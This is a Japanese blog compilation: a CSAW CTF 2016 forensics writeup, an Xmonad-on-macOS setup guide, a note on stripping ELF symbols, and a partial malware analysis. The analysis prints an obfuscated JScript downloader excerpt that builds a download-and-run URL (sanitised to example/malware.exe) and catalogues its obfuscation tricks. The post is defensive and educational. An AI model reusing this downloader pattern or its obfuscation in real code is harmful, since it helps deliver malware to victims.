csawctf 2016 writeup(forensics)
書くことがないから,最近参加したCSAWCTF 2016のWriteupをメモしておく.分野はforensics.ExploitやWebに比べると日本では人気がない印象があるのが残念.
evidence
evidence.zip
という壊れたZIPファイルが与えられる.
$ unzip -l evidence.zip Archive: evidence.zip Length Date Time Name --------- ---------- ----- ---- 1384576462406025012 1980-10-01 06:01 out/rxo802ayx4 1384576462406025012 1980-10-01 06:01 out/zhatnf5maf 1384576462406025012 1980-10-01 06:01 out/50lshu1ue6 1384576462406025012 1980-10-01 06:01 out/14o803swdq 1384576462406025012 1980-10-01 06:01 out/nppjdd2wdg 1384576462406025012 1980-10-01 06:01 out/e9ydsxwetg 1384576462406025012 1980-10-01 06:01 out/0eetjrxpdm 1384576462406025012 1980-10-01 06:01 out/otuj3jrezt 1384576462406025012 1980-10-01 06:01 out/m70ohrycax 1384576462406025012 1980-10-01 06:01 out/mpi3z4x5jt 1384576462406025012 1980-10-01 06:01 out/meoflsxv4v 1384576462406025012 1980-10-01 06:01 out/8y10tp04b2 1384576462406025012 1980-10-01 06:01 out/eui6ltoijl --------- ------- 17999494011278325156 13 files 以下,どうでも良い情報 1384576462406025012 -> 0x133700f4ee13ff34 17999494011278325156 -> 0xf9cb0c701703f5a4 全く意味のない数字のようだ.
作成日時も特に情報は見当たらない.
とりあえず
$ zip -FF evidence.zip --output fix.zip
で修復してみる.先に言っておく,これやった人はさようなら.
この後,
- unzip
- ファイル名がハッシュになっているかと検索
- base64で復号
- とりあえず,文字列を反対にしてみる
- 適当にXORしてみる
- コメントを期待して,unzip -z
- ..etc
をやってみたが,どうにも出てこない.
疲れて,基本に戻ってみようとZIP情報の詳細を見てみる.
$ unzip -vv ./evidence.zip Archive: ./evidence.zip Length Method Size Cmpr Date Time CRC-32 Name -------- ------ ------- ---- ---------- ----- -------- ---- 1384576462406025012 Unk:169 908 100% 1980-10-01 06:01 666c6167 out/rxo802ayx4 1384576462406025012 Unk:047 294 100% 1980-10-01 06:01 7b746833 out/zhatnf5maf 1384576462406025012 Unk:158 377 100% 1980-10-01 06:01 5f766931 out/50lshu1ue6 1384576462406025012 Unk:231 552 100% 1980-10-01 06:01 3169346e out/14o803swdq 1384576462406025012 Unk:223 249 100% 1980-10-01 06:01 5f77335f out/nppjdd2wdg 1384576462406025012 Unk:238 503 100% 1980-10-01 06:01 6e333364 out/e9ydsxwetg 1384576462406025012 Unk:045 150 100% 1980-10-01 06:01 5f236672 out/0eetjrxpdm 1384576462406025012 Unk:200 273 100% 1980-10-01 06:01 65656c65 out/otuj3jrezt 1384576462406025012 Unk:099 684 100% 1980-10-01 06:01 6666656e out/m70ohrycax 1384576462406025012 Unk:205 112 100% 1980-10-01 06:01 7daaaaaa out/mpi3z4x5jt 1384576462406025012 Unk:174 287 100% 1980-10-01 06:01 aaaaaaaa out/meoflsxv4v 1384576462406025012 Unk:193 172 100% 1980-10-01 06:01 aaaaaaaa out/8y10tp04b2 1384576462406025012 Unk:199 485 100% 1980-10-01 06:01 aaaaaaaa out/eui6ltoijl -------- ------- --- ------- 17999494011278325156 5046 100% 13 files
ああ,なるほどと気づいたときには笑った.こんなやり方もあるのか.CRCがASCIIだ.
666c61677b7468335f7669313169346e5f77335f6e3333645f23667265656c656666656e7d
-> flag{th3_vi11i4n_w3_n33d#freeleffen}
flag: flag{th3_vi11i4n_w3_n33d#freeleffen}
復元して頑張っても無駄だという問題.よくCRCにねじこんだな・・・.
watchword
Canned epic hidden snek flavored cookies have shy gorilla. Hint: http://domnit.org/stepic/doc/ Hint: It's not base64, but it uses the Python 3 base64 module password = password
問題文は知らない単語が多くて理解を投げた.ゴリラが何かしたらしい.
ヒントに沿って,http://domnit.org/stepic/doc/から,stepic-0.3.tar.gzをダウンロード.
$ tar xvf ./stepic-0.3.tar.gz $ cd stepic-0.3 $ sudo ./setup.py install 動作するためにImageが必要だったため, $ sudo pip install Image Image関連でエラーを吐くため, $ sudo vim /usr/bin/stepic [-] import Image [+] from PIL import Image
これで準備は完了.
動画ファイルをダンプしてみると,<data...>
というbase64があった.
"aHR0cDovL3N0ZWdoaWRlLnNvdXJjZWZvcmdlLm5ldC8="
-> http://steghide.sourceforge.net/base64
どうやら,steghide
が一枚噛んでいるようだ.
配られた動画ファイルを問答無用でforemost
.動画は結局見なかった.
$ foremost powpow.mp4
PNGファイルが出てきた.
8月にひっそりと日本での販売が終了したオレオの写真.foremost
しても何も出てこない.
また,PNGにはsteghide
が使えない.よって,stepicの出番.
$ stepic -d -i output/png/00001069.png -o out.jpg --debug
out.jpg
というJPG画像を取得する.画像は親子の微笑ましい会話.
以下,文章の訳.間違っていたら指摘してください.
> ねえ,お母さん.どうしていとこの名前はダイヤモンドなの? < おばさんが好きだからよ > 僕の名前は? < 私が好きなゴリラよ,Harambe
Harambeは先日子供を助けるために仕方なく射殺されたゴリラの名前.
Harambeはまだ良いが,おばさん,いくら好きでもダイヤモンドはキラキラしすぎじゃないかな・・・
< 閑話休題 >
JPGファイルはsteghide
でいける.パスワードが要求されるが,これは問題文で与えられたものを使う.
$ steghide extract -sf ./out.jpg Enter passphrase:password wrote extracted data to "base64.txt" $ cat ./base64.txt W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE
base64.txt
が得られる.文字列の途中に=
が入っていたりと,問題通り普通のbase64ではないようだ.
ヒントにpython3のbase64のモジュールを使っているとあったため,
http://docs.python.jp/3/library/base64.html#module-base64
を参考に一通り試していった.結局,base85でエンコードされた文字列だった.
# decrypt.py, python3で実行推奨 # coding: utf-8 import base64 print(base64.b85decode("W^7?+dsk&3VRB_4W^-?2X=QYIEFgDfAYpQ4AZBT9VQg%9AZBu9Wh@|fWgua4Wgup0ZeeU}c_3kTVQXa}eE"))
$ python3 decrypt.py b'flag{We are fsociety, we are finally free, we are finally awake!}'
base85はASCII内でprintableな文字を全部使って限界に挑戦した符号化のようだ.データ量の膨張が6/4(1.5倍)のbase64に対し,base85は5/4(1.25倍)と,効率が良い.現在ではgitで使われているらしい.
最後に
forensicsはPwnやWebのようにきらびやかなハッカー・クラッカーっぽいものを感じにくい分野だが,解析のためにコマンドの細かいオプションを知ることができるといった面がある.
セキュリティをやっている理由が,色んなことを知りたいからという自分にとってはやってて楽しい分野.
もう少しくらいなら闇が深くても構わない.
ふと思ったが,IT業界って光という単語をあまり使わない気がする.闇の言語(C++とか)は存在するが,光の言語は聞いたことがない(Haskellとか純粋なものがある).その内出るかもしれないが,キャッチコピーが胡散臭すぎて使う気が起きなさそうだ.
そう思ってしまう辺り,IT業界に毒されているのだろう.
参考文献
Stepic - Python image steganography
19.6. base64 — Base16, Base32, Base64, Base85 データの符号化 — Python 3.5.2 ドキュメント
OSX(mac)にXmonadをインストールする方法
普段はLinuxにXmonadを入れて作業をしているが,短期間だけOSX(mac)を使うこととなった(知っている企業や大学ってやたらとLet's NoteとMacbookが好き.ThinkPadも選択肢に入れて欲しい).普段通りに作業するためにOSXにXmonadを入れる方法を模索し,動かすところまではいけた.しかしLinuxほどの快適さはないため,OSX(mac)ではXmonadを使わないほうが良い.代わりにXmonadを意識して作られたAmethystがとりあえずおすすめ.インストールの流れをメモ代わりに書き残す.
環境
$ uname -a 後で入力する(確かDarwinのx64)
OSXでXmonadを動作させる仕組み
XmonadはX11で動作するよう実装されている.どれくらい依存しているかというと,ソースコードのMain部にガッツリX11関連の関数を使っていて置き換えることが面倒くさそうな位依存している.
このためOSXで動作させるためのアプローチとしてはX11のOSX版であるXQuartzをインストールし,このX11上で動かすデスクトップマネージャ(DM)にXmonadを選択し,起動させる流れとなる.
インストール方法
brewのインストール
$ /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
XQuartzのインストール
https://www.xquartz.orgからXQuartz-2.7.9.dmg
をダウンロード,インストール(ダブルクリックとContinueを押し続けるだけ).
インストールに成功すると,/Applications/Utilities/XQuartz.app
や/opt/X11/bin/quartz-wm
などができているはず.デスクトップの検索マークからXQuartzを探し,起動するとDock(デフォルトだと画面下にあるショートカットキーが並んでいるところ)に大文字のXが中心のマークが現れるはず.
XQuartzを選択した状態でデスクトップの左上のXQuartz -> Preferences
で各種設定を変更する.WinodowタブでFull Screen Modeを設定する以外は特にいじらなかった.
~/.xinitrc
があるとエラーが出ることもあるから,あるならrenameしておくほうが良い.
Haskellをインストールする
XmonadをインストールするためにHaskellのコンパイラなどをインストールする.She is Haskell.
って笑うやつは表に出ろ.すごいH本を朗読してやる.
https://www.haskell.org/platform/mac.htmlからHaskellのインストーラを落とす.ダブルクリックしてインストール.
インストールが終わったら,端末から
$ cabal update
でパッケージリストを最新に更新する.
xmonadのインストール
いよいよXmonadをインストールする.
$ cabal install xmonad
でできるはずだが,今回の環境ではXssライブラリがないとエラーが出た.原因は先ほどインストールしたXQuartzが持つX11のヘッダやライブラリ関係がパスに含まれていなことだった.よって今回のコマンドのときだけパスを追加してやれば良い.
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATH cabal install xmonad
これでXmonadがインストールできるはず.これでも駄目なら,
$ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATh cabal install X11
も試して,デバッグしていく.頑張れ.
Xmonad関連インストール
エラーが出るのを防ぐためにX11関連のヘッダを検索パスに含めておく.今回はシンボリックリンクを張る方法を選んだ.
$ ln -s /opt/X11/include/X11 /usr/local/include/X11 $ LIBRARY_PATH=/opt/X11/lib:$LIBRARY_PATH cabal install xmonad-contrib xmobar
XQuarzの設定作成
X11(XQuartz)起動時に使われるWMを設定する.設定は環境変数USERWM
に使いたいWMのバイナリパスを入れてやる.
$ mkdir $HOME/.xinitrc.d/ $ vim $HOME/.xinitrc.d/90-xmonad.sh #!/bin/sh USERWM=$HOME/Library/Haskell/bin/xmonad # xmonadのバイナリが入っているところを指すようにする
xmonadのパスがわからないときは
$ find $HOME -name xmonad -type f 2>/dev/null
で検索する.
あとはX11が起動時に実行されるようにスクリプトに実行権限を付与する.
$ chmod +x ~/.xinitrc.d/90-xmonad.sh
X11で起動するWMをデフォルトのquartz-wm
に戻したければ
$ chmod -x ~/.xinitrc.d/90-xmonad.sh
で実行権限をなくせば良い.
以上で基本的な作業は終了.
後は各自xmonad.hs
や.xmobarrc
などを調整する.
起動
XQuartzが起動した状態で左上のXQuartzタブを押して,Toggle Full Screen
を押す.全画面がX11になり,Xmonadが使えるようになる(全画面にしなくても使えるが,全画面のほうがおすすめ).
戻り方
Command+Option+a
問題点
ワークスペースの切り替え,複数の端末操作は通常通り行えるが,/Applications
以下のアプリ(ブラウザやメーラ)をXmonad上で実行する方法がわからないといった致命的な問題にぶち当たり,解決策を思いつかなかった.少し使ってみての問題としては以下が挙げられる.
- OSXではXmonadの相棒
urxvt
でclear
コマンドが動かない - Chromeなどの
/Applications
以下にインストールされているアプリを起動させるとXmonadからホストのWMに戻り,そちらで起動してしまう - デフォルトで起動するxtermはマルチバイト文字読めない・入力できない
xmonad.hs
,.xmobarrc
をOSX用に調整しないといけない- デバッグしたくない
問題が山積みでここまでしてXmonadに固執する必要もない気がしてきたから,Amethyst
も試してみた.そしたら比較的快適だったから今回はこっちを使うことにした.
Amethystのインストール
$ brew cask install amethyst
とても簡単.
Amethyst設定
System Preferences
を立ち上げ,Security & Privacy -> Accessibility
,左下のロックボタンを押してロックを解除し,'+'を押す.Applications -> Amethyst
を選択し,権限を与える.詳しくはAmethystのgithubを見るのがわかりやすい.
Amethystの起動
デスクトップの検索からAmethystを検索して起動するだけ.
提供する機能はウィンドウ同士の配置を自動でXmonad風に整形,ウィンドウの選択・入れ替えといったシンプルな部分のみ.
ワークスペースの切り替えはMission Controlによるものになるが,どうにも無駄な動作が多くて疲れる.xmobarを入れて使いたいが,それっぽいものは今の所無いようだ.OSXは余程追い詰められない限り使わないと決心した.
他にはhttps://github.com/arnihermann/osxmonadといったものもあるようだったが,ワークスペースの実装がされていないと書いてあったため使わなかった.
最後に
Linuxはさいきょう
参考サイト
Xmonad on Apple OSX: Xmonad/Using xmonad on Apple OSX - HaskellWiki
xmonad Q&A: Can't build X11 due to ld linking error on OSX 10.9.2 · Issue #24 · xmonad/X11 · GitHub
彼女はちょっと純情すぎるだけなんだ: She is Haskell. : プログラマーが覚えておくべき10の英語フレーズ - NAVER まとめ
Amethyst: GitHub - ianyh/Amethyst: Automatic tiling window manager for OS X à la xmonad and i3.
ELFバイナリのデバッグ時の関数名を読めなくする方法
Defconとかでは問題のELFバイナリをデバッグすると,ユーザ定義関数名だけでなく,ライブラリ関数名も読めなくなっている.どうやるとこんなバイナリを作れるのかを調べてみた.結論から言えば,静的リンクでコンパイルして,stripでデバッグシンボルを消すだけだった.
ライブラリ関数名の読めないプログラム
例えば,/bin/id
をexecve
関数で実行するだけのid.c
を考える.
/* id.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(void) { char *env[] = {NULL, NULL}; char *args[] = {"/bin/id", NULL}; execve("/bin/id", args, env); return 0; } /* E.O.F. */
ここで使われているライブラリ関数はexecve
だけ.これの関数名消去がうまく行くと,以下のようなアセンブラになる.
$ r2 -c 'aa;pdf@main' ./id [x] Analyze all flags starting with sym. and entry0 (aa) fcns: 4 xref: 54 sect: 550756 code: 1139 covr: 0 % / (fcn) main 68 | ; var int local_8h @ rbp-0x8 | ; var int local_10h @ rbp-0x10 | ; var int local_18h @ rbp-0x18 | ; var int local_20h @ rbp-0x20 | ; DATA XREF from 0x0040082d (main) | 0x0040092e 55 push rbp | 0x0040092f 4889e5 mov rbp, rsp | 0x00400932 4883ec20 sub rsp, 0x20 | 0x00400936 48c745f00000. mov qword [rbp - local_10h], 0 | 0x0040093e 48c745f80000. mov qword [rbp - local_8h], 0 | 0x00400946 48c745e04477. mov qword [rbp - local_20h], str._bin_id | 0x0040094e 48c745e80000. mov qword [rbp - local_18h], 0 | 0x00400956 488d55f0 lea rdx, [rbp - local_10h] | 0x0040095a 488d45e0 lea rax, [rbp - local_20h] | 0x0040095e 4889c6 mov rsi, rax | 0x00400961 bf44774800 mov edi, str._bin_id ; "/bin/id" @ 0x487744 | 0x00400966 e8450e0300 call fcn.004317b0 ; !!! 本来 "call sym.imp.execve"とでる !!! | 0x0040096b b800000000 mov eax, 0 | 0x00400970 c9 leave \ 0x00400971 c3 ret
0x00400966
の行を見ると,sym.imp.execve
と普通にコンパイルしたら出るはずがfcn.004317b0
になっている.
普段こんなバイナリが来ると,引数と演算結果を見てどの関数かを特定しているが(それしか知らない),ライブラリ関数を20種類以上使われていると心にヒビが入ってくる.
こいつの関数名復元方法を知るためにまずは作り方を調べた.
この方法では消えない
関数名の削除はデバッグシンボルの削除でできると考えて,まずは以下のコマンドを試してみた.
$ gcc -o id id.c $ strip --strip-all ./id # シンボル情報の全削除 $ r2 -c 'aa;pdf@main' ./id [x] Analyze all flags starting with sym. and entry0 (aa) fcns: 13 xref: 22 sect: 434 code: 470 covr: 108 % ;-- main: / (fcn) sym.main 68 | ; var int local_8h @ rbp-0x8 | ; var int local_10h @ rbp-0x10 | ; var int local_18h @ rbp-0x18 | ; var int local_20h @ rbp-0x20 | ; DATA XREF from 0x0040040d (sym.main) | 0x004004e6 55 push rbp | 0x004004e7 4889e5 mov rbp, rsp | 0x004004ea 4883ec20 sub rsp, 0x20 | 0x004004ee 48c745f00000. mov qword [rbp - local_10h], 0 | 0x004004f6 48c745f80000. mov qword [rbp - local_8h], 0 | 0x004004fe 48c745e0b405. mov qword [rbp - local_20h], str._bin_id | 0x00400506 48c745e80000. mov qword [rbp - local_18h], 0 | 0x0040050e 488d55f0 lea rdx, [rbp - local_10h] | 0x00400512 488d45e0 lea rax, [rbp - local_20h] | 0x00400516 4889c6 mov rsi, rax | 0x00400519 bfb4054000 mov edi, str._bin_id ; "/bin/id" @ 0x4005b4 | 0x0040051e e8adfeffff call sym.imp.execve ; !!! 消えてない !!! | 0x00400523 b800000000 mov eax, 0 | 0x00400528 c9 leave \ 0x00400529 c3 ret
0x0040051e
を見ると,関数名が消えてない.
そもそもstrip
で消えているものはあるかを確認すると
$ gcc -o id id.c $ file ./id id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, not stripped # stripされてない $ readelf -a ./id > nonstrip $ strip --strip-all ./id $ file ./id ./id: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=55cd7bdcff079fbbad7be7450777c5645fcd4f41, stripped # stripされた $ readelf -a ./id > stripall $ diff nonstrip stripall 13c13 < Start of section headers: 4784 (bytes into file) --- > Start of section headers: 2592 (bytes into file) 19c19 < Number of section headers: 31 --- > Number of section headers: 29 81,86c81,82 < [28] .shstrtab STRTAB 0000000000000000 000011a4 < 000000000000010c 0000000000000000 0 0 1 < [29] .symtab SYMTAB 0000000000000000 00000928 < 0000000000000660 0000000000000018 30 48 8 < [30] .strtab STRTAB 0000000000000000 00000f88 < 000000000000021c 0000000000000000 0 0 1 --- > [28] .shstrtab STRTAB 0000000000000000 00000921 > 00000000000000fc 0000000000000000 0 0 1 170,240d165 < < Symbol table '.symtab' contains 68 entries: < Num: Value Size Type Bind Vis Ndx Name < 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND < 1: 0000000000400200 0 SECTION LOCAL DEFAULT 1 < 2: 000000000040021c 0 SECTION LOCAL DEFAULT 2 < 3: 000000000040023c 0 SECTION LOCAL DEFAULT 3 < 4: 0000000000400260 0 SECTION LOCAL DEFAULT 4 < 5: 0000000000400280 0 SECTION LOCAL DEFAULT 5 < 6: 00000000004002e0 0 SECTION LOCAL DEFAULT 6 < 7: 0000000000400320 0 SECTION LOCAL DEFAULT 7 < 8: 0000000000400328 0 SECTION LOCAL DEFAULT 8 < 9: 0000000000400348 0 SECTION LOCAL DEFAULT 9 < 10: 0000000000400360 0 SECTION LOCAL DEFAULT 10 < 11: 0000000000400390 0 SECTION LOCAL DEFAULT 11 < 12: 00000000004003b0 0 SECTION LOCAL DEFAULT 12 < 13: 00000000004003e0 0 SECTION LOCAL DEFAULT 13 < 14: 00000000004003f0 0 SECTION LOCAL DEFAULT 14 < 15: 00000000004005a4 0 SECTION LOCAL DEFAULT 15 < 16: 00000000004005b0 0 SECTION LOCAL DEFAULT 16 < 17: 00000000004005bc 0 SECTION LOCAL DEFAULT 17 < 18: 00000000004005f0 0 SECTION LOCAL DEFAULT 18 < 19: 00000000006006e8 0 SECTION LOCAL DEFAULT 19 < 20: 00000000006006f0 0 SECTION LOCAL DEFAULT 20 < 21: 00000000006006f8 0 SECTION LOCAL DEFAULT 21 < 22: 0000000000600700 0 SECTION LOCAL DEFAULT 22 < 23: 00000000006008d0 0 SECTION LOCAL DEFAULT 23 < 24: 00000000006008d8 0 SECTION LOCAL DEFAULT 24 < 25: 0000000000600900 0 SECTION LOCAL DEFAULT 25 < 26: 0000000000600910 0 SECTION LOCAL DEFAULT 26 < 27: 0000000000000000 0 SECTION LOCAL DEFAULT 27 < 28: 0000000000000000 0 FILE LOCAL DEFAULT ABS init.c < 29: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c < 30: 00000000006006f8 0 OBJECT LOCAL DEFAULT 21 __JCR_LIST__ < 31: 0000000000400420 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones < 32: 0000000000400460 0 FUNC LOCAL DEFAULT 14 register_tm_clones < 33: 00000000004004a0 0 FUNC LOCAL DEFAULT 14 __do_global_dtors_aux < 34: 0000000000600910 1 OBJECT LOCAL DEFAULT 26 completed.6945 < 35: 00000000006006f0 0 OBJECT LOCAL DEFAULT 20 __do_global_dtors_aux_fin < 36: 00000000004004c0 0 FUNC LOCAL DEFAULT 14 frame_dummy < 37: 00000000006006e8 0 OBJECT LOCAL DEFAULT 19 __frame_dummy_init_array_ < 38: 0000000000000000 0 FILE LOCAL DEFAULT ABS test.c < 39: 0000000000000000 0 FILE LOCAL DEFAULT ABS crtstuff.c < 40: 00000000004006e0 0 OBJECT LOCAL DEFAULT 18 __FRAME_END__ < 41: 00000000006006f8 0 OBJECT LOCAL DEFAULT 21 __JCR_END__ < 42: 0000000000000000 0 FILE LOCAL DEFAULT ABS < 43: 00000000006006f0 0 NOTYPE LOCAL DEFAULT 19 __init_array_end < 44: 0000000000600700 0 OBJECT LOCAL DEFAULT 22 _DYNAMIC < 45: 00000000006006e8 0 NOTYPE LOCAL DEFAULT 19 __init_array_start < 46: 00000000004005bc 0 NOTYPE LOCAL DEFAULT 17 __GNU_EH_FRAME_HDR < 47: 00000000006008d8 0 OBJECT LOCAL DEFAULT 24 _GLOBAL_OFFSET_TABLE_ < 48: 00000000004005a0 2 FUNC GLOBAL DEFAULT 14 __libc_csu_fini < 49: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab < 50: 0000000000600900 0 NOTYPE WEAK DEFAULT 25 data_start < 51: 0000000000600910 0 NOTYPE GLOBAL DEFAULT 25 _edata < 52: 00000000004005a4 0 FUNC GLOBAL DEFAULT 15 _fini < 53: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_ < 54: 0000000000000000 0 FUNC GLOBAL DEFAULT UND execve@@GLIBC_2.2.5 < 55: 0000000000600900 0 NOTYPE GLOBAL DEFAULT 25 __data_start < 56: 0000000000000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ < 57: 0000000000600908 0 OBJECT GLOBAL HIDDEN 25 __dso_handle < 58: 00000000004005b0 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used < 59: 0000000000400530 101 FUNC GLOBAL DEFAULT 14 __libc_csu_init < 60: 0000000000600918 0 NOTYPE GLOBAL DEFAULT 26 _end < 61: 00000000004003f0 42 FUNC GLOBAL DEFAULT 14 _start < 62: 0000000000600910 0 NOTYPE GLOBAL DEFAULT 26 __bss_start < 63: 00000000004004e6 68 FUNC GLOBAL DEFAULT 14 main < 64: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses < 65: 0000000000600910 0 OBJECT GLOBAL HIDDEN 25 __TMC_END__ < 66: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable < 67: 0000000000400390 0 FUNC GLOBAL DEFAULT 11 _init
サイズは明らかに減っているし,.symtab
シンボル情報が消されているようだ.しかし,関数名は消えない.
なんでだろうと思って,知り合いに聞いてみたらあっさり答えが返ってきた.
それによると,execve
などのライブラリ関数は./id
外の共有ライブラリに実体がある../id
が共有ライブラリの関数を使う場合,プログラム起動時に関数名などのシンボル名を使ってアドレス解決をする.だから,共有ライブラリを使う限りシンボル名が残ってしまう.つまり,静的リンクでコンパイルすればシンボル名を消してもアドレス解決できるようになるということだった.
これがわかれば話は早い.
消し方
$ gcc -static -o id id.c $ strip -strip-all ./id $ r2 -c 'aa;pdf@main' ./id [x] Analyze all flags starting with sym. and entry0 (aa) fcns: 4 xref: 54 sect: 550756 code: 1139 covr: 0 % / (fcn) main 68 | ; var int local_8h @ rbp-0x8 | ; var int local_10h @ rbp-0x10 | ; var int local_18h @ rbp-0x18 | ; var int local_20h @ rbp-0x20 | ; DATA XREF from 0x0040082d (main) | 0x0040092e 55 push rbp | 0x0040092f 4889e5 mov rbp, rsp | 0x00400932 4883ec20 sub rsp, 0x20 | 0x00400936 48c745f00000. mov qword [rbp - local_10h], 0 | 0x0040093e 48c745f80000. mov qword [rbp - local_8h], 0 | 0x00400946 48c745e04477. mov qword [rbp - local_20h], str._bin_id | 0x0040094e 48c745e80000. mov qword [rbp - local_18h], 0 | 0x00400956 488d55f0 lea rdx, [rbp - local_10h] | 0x0040095a 488d45e0 lea rax, [rbp - local_20h] | 0x0040095e 4889c6 mov rsi, rax | 0x00400961 bf44774800 mov edi, str._bin_id ; "/bin/id" @ 0x487744 | 0x00400966 e8450e0300 call fcn.004317b0 ; !!! 消えた !!! | 0x0040096b b800000000 mov eax, 0 | 0x00400970 c9 leave \ 0x00400971 c3 ret
というわけで読めなくなった.
読めないバイナリはこうやって作られるのだろう.
最後に
作成したバイナリは静的リンク時に共有ライブラリに含まれていたのであろう文字列が色々含まれて,本来のユーザ定義文字列が探しにくくなる.これはどうにかできないのだろうか.共有ライブラリを片っ端から--strip-all
すればいいのだろうか.
次は消した情報を復元する方法を調べたい.情報提供募集中.
参考
ありがとう: 知人
ダウンローダ型のマルウェアを眺めてみた
この記事では本物のマルウェアを取り扱っています.この記事の検証などで問題が起こっても一切責任は取れないので,行う際は自己責任でお願いします.また,この記事では心無い人による悪用を避けるため,マルウェアの全文は記載しません.興味のある方はハッシュなどから辿ってください.
はじまり
最近ZIP
やRAR
が添付された請求書や求人(月額$3000-6000, 30万円以上)という本当なら魅力的なメールが来る.
このようなメールは「危険なので,絶対に添付ファイルを開かないでください」と簡単に言われているが,「本当に危険なのか」,「一体何故危険なのか」を知りたくなったので,ダウンロードして解析してみた.
攻撃側のメールの送り方は,特定のメンバに一斉送信されるアドレスをどこからか特定し,そこに対してそれぞれ異なる文面,送信元アドレス,内容,添付ファイルを送りつけてくる.まだ解析の数をこなしたわけではないからかどれも同じものを見てはいないが,それぞれを数種類用意しただけで簡単に組み合わせ総数は大きくなるから,フィルタとかでの対応は厄介そうだ.
メール本文例は以下の通り.
hi ???(改変してある) I have attached a revised spreadsheet contains inventory adjustments. Please check if it's correct Regards, Michael Ballard
employees_B3CF49.zip
というZIPファイルが添付されている.
中には難読化が施された全く同じ内容のJavascriptファイルが3つ(なぜ3つも入っていたのかは不明).
$ unzip -l employees_B3CF49.zip Archive: employees_B3CF49.zip Length Date Time Name --------- ---------- ----- ---- 1051941 2016-05-16 14:49 history 648819 - cpy (2).js 1051941 2016-05-16 14:49 history 648819 - cpy.js 1051941 2016-05-16 14:49 history 648819.js --------- ------- 3155823 3 files
VirusTotalに投げると,お察しな内容だった.真っ赤.
Antivirus scan for 5e587e55c9a9c28c4ac5e7d0a6d43c8b7d988654a3f13b838d1e45226213596c at 2016-05-20 01:00:34 UTC - VirusTotal
TrendMicro, Kaspersky, Symantecの検知名はそれぞれ"JS_LOCKY.DLDUF", "Trojan-Downloader.JS.Agent.klw", "JS.Downloader".
Kasperskyがわかりやすい.拡張子.klw
はわからない.
JS_LOCKY.DLDUF - Threat Encyclopedia - Trend Micro AU
によると,出現は2016/05/12で,つい最近.
届く添付ファイルはどれもこのように最近登録されたものばかり.
環境
Linux環境は内容・脅威の確認用,Windowsは被害用仮想マシン.
$ uname -a Linux poppycompass 4.5.0-1-ARCH #1 SMP PREEMPT Tue Mar 15 09:41:03 CET 2016 x86_64 GNU/Linux
解析手順
最初にLinuxのメーラから,問題の添付ファイルをダウンロード.大抵ZIP
だから,
$ unzip -l employees_B3CF49.zip
で何が入っているかを確かめる.今までに確認したのは.js
と.wsf
のみ.
感染する気満々で苦笑いした.
一通り難読化を解除して,何をしているのかを見たら,必要なところをコメントアウトなり書き換えるなりしてからWindowsの仮想環境に投げて実行.
内容
当たり前だけど,解析をするときは部屋を明るくして,ネットワークから隔離した仮想環境内で画面から離れてみてね.あと1時間に15分程度の休憩を挟むこと.もちろん守ったことがない.
上で挙げたhistory 648819.js
の最初から数行は以下のような感じ.
var place0 = false; var DENMARK0 = ""; '/' * 1048574byte var fromPath; var VALIGN0 = "Cr"+"e"+"ateObject"; /*@cc_on /* Zg */ @if (@_win32 || @_win64)/* Zg */ // CONNECTION /* Zg */ = "W"+"S"+"c"+"ript"; place0 /* Zg */= true;/* Zg */ DENMARK0/* Zg */ = /* Zg */"MLH";/* Zg */ fromPath =/* Zg */ "R" + "esponseB"/* Zg */ + "ydo".split('').reverse().join(''); Turkey = /* Zg */(/* Zg */"noitisop").split(''/* Zg */).reverse(/* Zg */).join(''); devel0 /* Zg *//* Zg */ =/* Zg */ "eliFoTevaS".split(''/* Zg */).reverse().join(''); Currency0 = "A"+"DODB"; DENMARK1 = "s" + "end"; Backspace = "ht"+"tp:"+"//e" + "xample" + "/" + "mal" + "ware.e" + "xe"; Backspace0 = "G\x45"+"T"; /* Zg */ @end/* Zg */ @*//* Zg */ if (!(place0)) { WScript.Echo("pizzxzzda"); WScript.Quit(1); } ...(snip)...
URL部分は変えてある.
WScriptを利用してマルウェア本体をダウンロードし,起動させる.
解析したやつはどれもC:\Users\<user_name>\AppData\Local\Temp
以下に起動させたいEXEファイル本体をダウンロード(ファイルパスは動的に実行ユーザに合わせたパスが生成),実行するタイプだった.
AppData
はデフォルトでは隠しフォルダとなっているため,普通には見えない.隠しフォルダが見えるようにするには,ファイルエクスプローラーを起動して,
整理 -> フォルダーと検索のオプション -> 開いたウィンドウの「表示」タブ -> 「隠しフォルダー,及び隠しドライブを表示する」 -> OK
で見えるようになる.
人が読める程度ではあるが,いくつか難読化が施されている.以下では見かけたテクニックを並べていく.
難読化テクニック
コメント
とりあえずどこにでも/* Zg */や
/ EE Hz /`といったコメントを挟む.地味に読みにくい.
置換して消した.
関係のない命名規則
プログラムの内容と全く関係のない関数・変数名にする.命名規則はDENMARK
などの地名やchristopher
の人名,bbbbbbbbbbbbbbbbb
の意味なしと多岐にわたる.
地名や人名は勉強になる.変数は文字列を格納して,その後いじらないことものが多かったから,そういうやつだけ格納した文字列に置換すると良い.
バイトの挿入
文字列GET
を"G\x45T"と16進を挟む.
他のやつから想像するか,console.logすると良い.
分割
バイトの挿入と組み合わせて使われることが多い.send
を"s"+"en"+"d"
とする.素直に書いて欲しい.
逆順
"sgnirtStnemnorivnEdnapxE".split('').reverse().join('')
と読み手には逆に見えるように書く.
大量の無意味な文字
上の例であげたコードでは/
